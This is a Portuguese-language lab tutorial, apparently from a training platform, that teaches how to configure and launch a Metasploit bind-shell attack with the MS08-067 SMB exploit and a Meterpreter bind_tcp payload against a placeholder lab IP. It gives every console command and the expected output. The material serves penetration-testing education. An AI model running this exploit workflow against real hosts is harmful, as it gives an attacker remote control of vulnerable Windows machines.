Use um Payload de Bind Shell no Metasploit

CibersegurançaBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá os passos fundamentais para usar um payload de bind shell no Metasploit Framework. Metasploit é uma poderosa ferramenta de teste de penetração que permite aos profissionais de segurança encontrar, explorar e validar vulnerabilidades.

Um "payload" no Metasploit é o código que é executado no sistema alvo após uma vulnerabilidade ter sido explorada com sucesso. Um payload de "bind shell" é um tipo específico que abre uma porta de escuta na máquina alvo. O atacante então se conecta a esta porta para obter um shell de comando e controlar o sistema. Isso é diferente de um "reverse shell", onde a máquina alvo inicia uma conexão de volta para o atacante.

Ao longo deste laboratório, você praticará o fluxo de trabalho completo: iniciar o Metasploit, selecionar um exploit, configurar um payload de bind shell com as opções necessárias e tentar executar o exploit.

Selecionar um módulo de exploit para um alvo

Nesta etapa, você iniciará o console do Metasploit Framework e selecionará um módulo de exploit. Um exploit é um pedaço de código que se aproveita de uma vulnerabilidade específica em um sistema. Para este laboratório, usaremos um exploit bem conhecido para fins de demonstração.

Primeiro, abra seu terminal e inicie o console do Metasploit. Usaremos o flag -q para o modo "quiet" (silencioso) para pular o banner e iniciar mais rapidamente.

msfconsole -q

Assim que o console carregar, seu prompt mudará para msf6 >. Agora, você precisa selecionar um exploit. Usaremos o exploit ms08_067_netapi, que visa uma vulnerabilidade no serviço do Windows Server.

Use o comando use para carregar o módulo de exploit:

use exploit/windows/smb/ms08_067_netapi

Após executar o comando, você verá seu prompt mudar para refletir o módulo de exploit atualmente ativo.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Observe que o Metasploit selecionou por padrão um payload reverse_tcp. Mudaremos isso na próxima etapa.

Definir o payload para windows/meterpreter/bind_tcp

Nesta etapa, você alterará o payload padrão para um payload de bind shell. Conforme mencionado na introdução, um payload de bind abrirá uma porta no sistema alvo, aguardando o atacante se conectar.

Usaremos windows/meterpreter/bind_tcp. Este payload não apenas fornece um shell, mas uma sessão Meterpreter, que é um payload avançado e rico em recursos que oferece mais controle sobre o sistema alvo.

Dentro do prompt do msfconsole, use o comando set payload para especificar o novo payload:

set payload windows/meterpreter/bind_tcp

O Metasploit confirmará a alteração.

msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

Você agora configurou com sucesso o exploit para usar um payload Meterpreter de bind.

Definir a opção RHOSTS para o exploit

Nesta etapa, você precisa especificar o alvo do seu exploit. No Metasploit, o endereço do alvo é definido usando a opção RHOSTS (Remote Hosts).

Você deve informar ao Metasploit qual máquina atacar. Em um cenário do mundo real, você teria descoberto o endereço IP de uma máquina vulnerável através de reconhecimento. Para este laboratório, usaremos um endereço IP de placeholder.

Use o comando set para configurar a opção RHOSTS. Vamos defini-la para 172.17.0.2, que é um endereço IP comum para um contêiner em uma rede bridge do Docker.

set RHOSTS 172.17.0.2

O console confirmará que a opção RHOSTS foi definida.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2

Agora o Metasploit sabe para onde enviar o exploit.

Definir a opção LPORT para o payload no alvo

Nesta etapa, você configurará a porta de escuta para o bind shell. Com um payload de bind, a opção LPORT (Local Port) especifica a porta TCP que o payload abrirá na máquina alvo. Este é um conceito crucial: você está definindo a porta à qual se conectará após o exploit ser bem-sucedido.

Usaremos a porta comum 4444 para este propósito.

Use o comando set para configurar a opção LPORT:

set LPORT 4444

O console confirmará a configuração.

msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444

Para ter certeza de que todas as nossas opções estão definidas corretamente, você pode usar o comando show options para revisar a configuração tanto do exploit quanto do payload.

show options

Você deverá ver uma tabela de saída onde RHOSTS e LPORT estão corretamente definidos com os valores que você forneceu.

...
Payload options (windows/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT  4444             yes       The listen port
   RHOST  172.17.0.2       no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
...

Executar o exploit e conectar à porta de escuta

Nesta etapa, com todas as opções configuradas, você lançará o ataque. O comando exploit (ou seu alias, run) instrui o Metasploit a enviar o exploit e o payload para o alvo.

Agora, execute o exploit:

exploit

Nota Importante: Neste ambiente de laboratório, não há uma máquina Windows vulnerável no endereço 172.17.0.2. Portanto, o exploit falhará. O objetivo desta etapa é entender o comando e observar o processo. Em um teste de penetração real, se o alvo fosse vulnerável, este comando criaria uma sessão.

Você verá o Metasploit tentar se conectar, mas eventualmente o tempo limite será atingido. A saída será algo parecido com isto:

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.

Esta saída é esperada. Ela confirma que o Metasploit executou o exploit, mas nenhuma sessão foi estabelecida porque o alvo não era vulnerável ou alcançável. Você completou com sucesso o fluxo de trabalho para usar um payload de bind shell.

Para sair do console do Metasploit, digite exit:

exit

Resumo

Neste laboratório, você aprendeu o processo essencial de configuração e uso de um payload de bind shell dentro do Metasploit Framework.

Você praticou o fluxo de trabalho principal:

  1. Iniciar o console do Metasploit (msfconsole).
  2. Selecionar um módulo de exploit com o comando use.
  3. Definir um payload específico com set payload.
  4. Configurar opções específicas do alvo, como RHOSTS (o IP do alvo) e LPORT (a porta de escuta no alvo).
  5. Executar o ataque com o comando exploit.

Mais importante, você agora entende a característica principal de um bind shell: ele abre um listener no sistema alvo, exigindo que o atacante se conecte a ele. Este conhecimento fundamental é crítico para a realização de testes de penetração e para a compreensão de diferentes métodos de obtenção de acesso remoto.